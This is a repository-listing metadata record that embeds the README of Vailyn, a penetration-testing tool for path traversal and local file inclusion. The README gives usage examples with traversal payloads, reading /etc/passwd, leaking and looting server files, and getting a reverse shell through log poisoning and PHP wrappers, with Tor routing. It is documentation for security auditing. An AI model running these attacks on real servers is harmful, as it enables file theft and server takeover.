{"id":13842916,"url":"https://github.com/VainlyStrain/Vailyn","last_synced_at":"2025-07-11T17:32:20.175Z","repository":{"id":39605923,"uuid":"257015859","full_name":"VainlyStrain/Vailyn","owner":"VainlyStrain","description":"A phased, evasive Path Traversal + LFI scanning \u0026 exploitation tool in Python","archived":false,"fork":false,"pushed_at":"2021-09-25T19:19:03.000Z","size":1018,"stargazers_count":198,"open_issues_count":3,"forks_count":25,"subscribers_count":6,"default_branch":"master","last_synced_at":"2024-11-21T14:38:07.520Z","etag":null,"topics":["directory-traversal","exploitation","filter-evasion","information-leak","lfi","lfi-exploitation","lfi-shells","local-file-inclusion","path-traversal","penetration-testing","pentest-tool","pentesting","rce","security","takeover","vulnerability-assessment","vulnerability-detection","vulnerability-scanners","websec","websecurity"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/VainlyStrain.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":".github/CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":".github/CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-04-19T14:09:31.000Z","updated_at":"2024-11-10T20:30:39.000Z","dependencies_parsed_at":"2022-08-28T04:41:37.846Z","dependency_job_id":null,"html_url":"https://github.com/VainlyStrain/Vailyn","commit_stats":null,"previous_names":[],"tags_count":45,"template":false,"template_full_name":null,"purl":"pkg:github/VainlyStrain/Vailyn","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VainlyStrain%2FVailyn","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VainlyStrain%2FVailyn/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VainlyStrain%2FVailyn/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VainlyStrain%2FVailyn/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/VainlyStrain","download_url":"https://codeload.github.com/VainlyStrain/Vailyn/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VainlyStrain%2FVailyn/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264862498,"owners_count":23674986,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["directory-traversal","exploitation","filter-evasion","information-leak","lfi","lfi-exploitation","lfi-shells","local-file-inclusion","path-traversal","penetration-testing","pentest-tool","pentesting","rce","security","takeover","vulnerability-assessment","vulnerability-detection","vulnerability-scanners","websec","websecurity"],"created_at":"2024-08-04T17:01:50.867Z","updated_at":"2025-07-11T17:32:19.867Z","avatar_url":"https://github.com/VainlyStrain.png","language":"Python","funding_links":[],"categories":["Python (1887)","Python"],"sub_categories":[],"readme":"\u003ch1 align=\"center\"\u003e\n  \u003cimg src='core/doc/logo.png' height='580'\u003e\u003c/img\u003e\u003cbr\u003e\n  Vailyn\n  \u003cbr\u003e\n\u003c/h1\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003ca href=\"https://github.com/VainlyStrain/Vailyn/blob/master/Vailyn\"\u003e\n    \u003cimg src=\"https://img.shields.io/static/v1.svg?label=Version\u0026message=3.3\u0026color=lightgrey\u0026style=flat-square\"\u003e\u003c!--\u0026logo=dev.to\u0026logoColor=white\"--\u003e\n  \u003c/a\u003e\n  \u003ca href=\"https://www.python.org/\"\u003e\n    \u003cimg src=\"https://img.shields.io/static/v1.svg?label=Python\u0026message=3.7%2B\u0026color=lightgrey\u0026style=flat-square\u0026logo=python\u0026logoColor=white\"\u003e\n  \u003c/a\u003e\u003cbr\u003e\n  Phased Path Traversal \u0026 LFI Attacks\n\u003c/p\u003e\n\n\u003e **Vailyn 3.0**\n\u003e\n\u003e Since v3.0, Vailyn supports LFI PHP wrappers in Phase 1. Use `--lfi` to include them in the scan.\n\n### About\n\nVailyn is a multi-phased vulnerability analysis and exploitation tool for path traversal and file inclusion vulnerabilities. It is built to make it as performant as possible, and to offer a wide arsenal of filter evasion techniques.\n\n### How does it work?\n\nVailyn operates in 2 phases. First, it checks if the vulnerability is present. It does so by trying to access /etc/passwd (or a user-specified file), with all of its evasive payloads. Analysing the response, payloads that worked are separated from the others.\n\nNow, the user can choose freely which payloads to use. Only these payloads will be used in the second phase.\n\nThe second phase is the exploitation phase. Now, it tries to leak all possible files from the server using a file and a directory dictionary. The search depth and the directory permutation level can be adapted via arguments. Optionally, it can download found files, and save them in its loot folder. Alternatively, it will try to obtain a reverse shell on the system, letting the attacker gain full control over the server.\n\nRight now, it supports multiple attack vectors: injection via query, path, cookie and POST data.\n\n### Why the phase separation?\n\nThe separation in several phases is done to hugely improve the performance of the tool. In previous versions, every file-directory combination was checked with every payload. This resulted in a huge overhead due to payloads being always used again, despite not working for the current page.\n\n### Installation\n\nRecommended \u0026 tested Python versions are 3.7+, but it should work fine with Python 3.5 \u0026 Python 3.6, too. To install Vailyn, download the archive from the release tab, or perform\n\n```\n$ git clone https://github.com/VainlyStrain/Vailyn\n```\n\nOnce on your system, you'll need to install the Python dependencies.\n\n#### Unix Systems\n\nOn Unix systems, it is sufficient to run\n\n```\n$ pip install -r requirements.txt   # --user\n```\n\n#### Windows\n\nSome libraries Vailyn uses do not work well with Windows, or will fail to install.\n\nIf you use Windows, use `pip` to install the requirements listed in `Vailyn\\·›\\requirements-windows.txt`.\n\nIf twisted fails to install, there is an unofficial version available [here](https://www.lfd.uci.edu/~gohlke/pythonlibs/#twisted), which should build under Windows. Just bear in mind that this is a 3rd party download, and the integrity isn't necessarily guaranteed. After this installed successfully, running pip again on `requirements-windows.txt` should work.\n\n#### Final Steps\n\nIf you want to fully use the reverse shell module, you'll need to have `sshpass`, `ncat` and `konsole` installed. Package names vary by Linux distribution. On Windows, you'll need to start the listener manually beforehand. If you don't like `konsole`, you can specify a different terminal emulator in `core/config.py`.\n\nThat's it! Fire Vailyn up by moving to its installation directory and performing\n\n```\n$ python Vailyn -h\n```\n\n### Usage\n\nVailyn has 3 mandatory arguments: `-v VIC, -a INT and -p2 TP P1 P2`. However, depending on `-a`, more arguments may be required.\n\n```\n   ,                \\                  /               , \n     ':.             \\.      /\\.     ./            .:'\n        ':;.          :\\ .,:/   ''. /;        ..::'\n           ',':.,.__.'' '          ' `:.__:''.:'\n              ';..                        ,;'     *\n       *         '.,                   .:'\n                    `v;.            ;v'        o\n              .      '  '..      :.' '     .\n                     '     ':;, '    '\n            o                '          .   :        \n                                           *\n                         | Vailyn |\n                      [ VainlyStrain ]\n    \nVsynta Vailyn -v VIC -a INT -p2 TP P1 P2 \n        [-p PAM] [-i F] [-Pi VIC2]\n      [-c C] [-n] [-d I J K]\n       [-s T] [-t] [-L]\n  [-l] [-P] [-A] \n\nmandatory:\n  -v VIC, --victim VIC  Target to attack, part 1 [pre-payload]\n  -a INT, --attack INT  Attack type (int, 1-5, or A)\n\n    A|  Spider (all)       2|  Path               5|  POST Data, json\n    P|  Spider (partial)   3|  Cookie\n    1|  Query Parameter    4|  POST Data, plain\n\n  -p2 TP P1 P2, --phase2 TP P1 P2\n                        Attack in Phase 2, and needed parameters\n\n┌[ Values ]─────────────┬────────────────────┐\n│ TP      │ P1          │ P2                 │\n├─────────┼─────────────┼────────────────────┤\n│ leak    │ File Dict   │ Directory Dict     │\n│ inject  │ IP Addr     │ Listening Port     │\n│ implant │ Source File │ Server Destination │\n└─────────┴─────────────┴────────────────────┘\n\nadditional:\n  -p PAM, --param PAM   query parameter or POST data for --attack 1, 4, 5\n  -i F, --check F       File to check for in Phase 1 (df: etc/passwd)\n  -Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload]\n  -c C, --cookie C      Cookie to append (in header format)\n  -l, --loot            Download found files into the loot folder\n  -d I J K, --depths I J K\n                        depths (I: phase 1, J: phase 2, K: permutation level)\n  -h, --help            show this help menu and exit\n  -s T, --timeout T     Request Timeout; stable switch for Arjun\n  -t, --tor             Pipe attacks through the Tor anonymity network\n  -L, --lfi             Additionally use PHP wrappers to leak files\n  -n, --nosploit        skip Phase 2 (does not need -p2 TP P1 P2)\n  -P, --precise         Use exact depth in Phase 1 (not a range)\n  -A, --app             Start Vailyn's Qt5 interface\n\ndevelop:\n  --debug               Display every path tried, even 404s.\n  --version             Print program version and exit.\n  --notmain             Avoid notify2 crash in subprocess call.\n\nInfo:\n  to leak files using absolute paths: -d 0 0 0\n  to get a shell using absolute paths: -d 0 X 0\n```\n\nVailyn currently supports 5 attack vectors, and provides a crawler to automate all of them. The attack performed is identified by the `-a INT` argument.\n\n```\nINT        attack\n----       -------\n1          query-based attack  (https://site.com?file=../../../)\n2          path-based attack   (https://site.com/../../../)\n3          cookie-based attack (will grab the cookies for you)\n4          plain post data     (ELEM1=VAL1\u0026ELEM2=../../../)\n5          json post data      ({\"file\": \"../../../\"})\nA          spider              fetch + analyze all URLs from site using all vectors\nP          partial spider      fetch + analyze all URLs from site using only selected vectors\n```\n\nYou also must specify a target to attack. This is done via `-v VIC` and `-Pi VIC2`, where -v is the part before the injection point, and -Pi the rest.\n\nExample: if the final URL should look like: `https://site.com/download.php?file=\u003cATTACK\u003e\u0026param2=necessaryvalue`, you can specify `-v https://site.com/download.php` and `-Pi \u0026param2=necessaryvalue` (and `-p file`, since this is a query attack).\n\nIf you want to include PHP wrappers in the scan (like php://filter), use the `--lfi` argument. At the end of Phase 1, you'll be presented with an additional selection menu containing the wrappers that worked. (if any)\n\nIf the attacked site is behind a login page, you can supply an authentication cookie via `-c COOKIE`. If you want to attack over Tor, use `--tor`.\n\n#### Phase 1\n\nThis is the analysis phase, where working payloads are separated from the others.\n\nBy default, `/etc/passwd` is looked up. If the server is not running Linux, you can specify a custom file by `-i FILENAME`. Note that you must **include subdirectories in FILENAME**.\nYou can modify the lookup depth with the first value of `-d` (default=8).\nIf you want to use absolute paths, set the first depth to 0.\n\n#### Phase 2\n\nThis is the exploitation phase, where Vailyn will try to leak as much files as possible, or gain a reverse shell using various techniques.\n\nThe depth of lookup in phase 2 (the maximal number of layers traversed back) is specified by the second value of the `-d` argument. The level of subdirectory permutation is set by the third value of `-d`.\n\nIf you attack with absolute paths and perform the leak attack, set all depths to 0. If you want to gain a reverse shell, make sure that the second depth is greater than 0.\n\nBy specifying `-l`, Vailyn will not only display files on the terminal, but also download and save the files into the loot folder.\n\nIf you want a verbose output (display every output, not only found files), you can use `--debug`. Note that output gets really messy, this is basically just a debug help.\n\nTo perform the bruteforce attack, you need to specify `-p2 leak FIL PATH`, where\n* FIL is a dictionary file containing **filenames only** (e.g. index.php)\n* PATH, is a dictionary file containing **directory names only**. Vailyn will handle directory permutation for you, so you'll need only one directory per line.\n\nTo gain a reverse shell by code injection, you can use `-p2 inject IP PORT`, where\n* IP is your listening IP\n* PORT is the port you want to listen on.\n\n\u003e **WARNING**\n\u003e\n\u003e Vailyn employs Log Poisoning techniques. Therefore, YOUR SPECIFIED IP WILL BE VISIBLE IN THE SERVER LOGS.\n\nThe techniques (only work for LFI inclusions):\n\n* `/proc/self/environ inclusion` only works on outdated servers\n* `Apache + Nginx Log Poisoning \u0026 inclusion`\n* `SSH Log Poisoning` \n* `poisoned mail inclusion`\n* wrappers\n    * `expect://`\n    * `data:// (plain \u0026 b64)`\n    * `php://input`\n\n### False Positive prevention\n\nTo distinguish real results from false positives, Vailyn does the following checks:\n* check the status code of the response\n* check if the response is identical to one taken before attack start: this is useful e.g, when the server returns 200, but ignores the payload input or returns a default page if the file is not found.\n* similar to #2, perform an additional check for query GET parameter handling (useful when server returns error that a needed parameter is missing)\n* check for empty responses\n* check if common error signatures are in the response content\n* check if the payload is contained in the response: this is an additional check for the case the server responds 200 for non-existing files, and reflects the payload in a message (like ../../secret not found)\n* check if the entire response is contained in the init check response: useful when the server has a default include which disappears in case of 404\n* for `-a 2`, perform an additional check if the response content matches the content from the server root URL\n* REGEX check for `/etc/passwd` if using that as lookup file\n\n### Examples\n\n* Simple Query attack, leaking files in Phase 2:\n`$ Vailyn -v \"http://site.com/download.php\" -a 1 -p2 leak dicts/files dicts/dirs -p file` --\u003e `http://site.com/download.php?file=../INJECT`\n\n* Query attack, but I know a file `file.php` exists on exactly 2 levels above the inclusion point:\n`$ Vailyn -v \"http://site.com/download.php\" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P`\nThis will shorten the duration of Phase 1 very much, since its a targeted attack.\n\n* Simple Path attack:\n`$ Vailyn -v \"http://site.com/\" -a 2 -p2 leak dicts/files dicts/dirs` --\u003e `http://site.com/../INJECT`\n\n* Path attack, but I need query parameters and tag:\n`$ Vailyn -v \"http://site.com/\" -a 2 -p2 leak dicts/files dicts/dirs -Pi \"?token=X#title\"` --\u003e `http://site.com/../INJECT?token=X#title`\n\n* Simple Cookie attack:\n`$ Vailyn -v \"http://site.com/cookiemonster.php\" -a 3 -p2 leak dicts/files dicts/dirs`\nWill fetch cookies and you can select cookie you want to poison\n\n* POST Plain Attack:\n`$ Vailyn -v \"http://site.com/download.php\" -a 4 -p2 leak dicts/files dicts/dirs -p \"DATA1=xx\u0026DATA2=INJECT\"`\nwill infect DATA2 with the payload\n\n* POST JSON Attack:\n`$ Vailyn -v \"http://site.com/download.php\" -a 5 -p2 leak dicts/files dicts/dirs -p '{\"file\": \"INJECT\"}'`\n\n* Attack, but target is behind login screen:\n`$ Vailyn -v \"http://site.com/\" -a 1 -p2 leak dicts/files dicts/dirs -c \"sessionid=foobar\"`\n\n* Attack, but I want a reverse shell on port 1337:\n`$ Vailyn -v \"http://site.com/download.php\" -a 1 -p2 inject MY.IP.IS.XX 1337  # a high Phase 2 Depth is needed for log injection`\n(will start a ncat listener for you if on Unix)\n\n* Full automation in crawler mode:\n`$ Vailyn -v \"http://root-url.site\" -a A` _you can also specify other args, like cookie, depths, lfi \u0026 lookup file here_ \n\n* Full automation, but Arjun needs `--stable`:\n`$ Vailyn -v \"http://root-url.site\" -a A -s ANY`\n\n### Demo\n\n[![asciicast](https://asciinema.org/a/384813.svg)](https://asciinema.org/a/384813)\nVailyn's Crawler analyzing a damn vulnerable web application. LFI Wrappers are not enabled.\n\n[GUI Demonstration (v2.2.1-5)](https://www.youtube.com/watch?v=rFlR_SHk9fc)\n\n### Possible Issues\n\nFound some false positives/negatives (or want to point out other bugs/improvements): please leave an issue!\n\n### Code of Conduct\n\n\u003e Vailyn is provided as an offensive web application audit tool. It has built-in functionalities which can reveal potential vulnerabilities in web applications, which could be exploited maliciously.\n\u003e\n\u003e **THEREFORE, NEITHER THE AUTHOR NOR THE CONTRIBUTORS ARE RESPONSIBLE FOR ANY MISUSE OR DAMAGE DUE TO THIS TOOLKIT.**\n\u003e\n\u003e By using this software, the user obliges to follow their local laws, to not attack someone else's system without explicit permission from the owner, or with malicious intent.\n\u003e\n\u003e In case of an infringement, only the end user who committed it is accountable for their actions.\n\n### Credits \u0026 Copyright\n\n\u003e Vailyn: Copyright © \u003ca href=\"https://github.com/VainlyStrain\"\u003eVainlyStrain\u003c/a\u003e\n\u003e\n\u003e Arjun:  Copyright © \u003ca href=\"https://github.com/s0md3v\"\u003es0md3v\u003c/a\u003e\n\nArjun is no longer distributed with Vailyn. Install its latest version via pip.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FVainlyStrain%2FVailyn","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FVainlyStrain%2FVailyn","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FVainlyStrain%2FVailyn/lists"}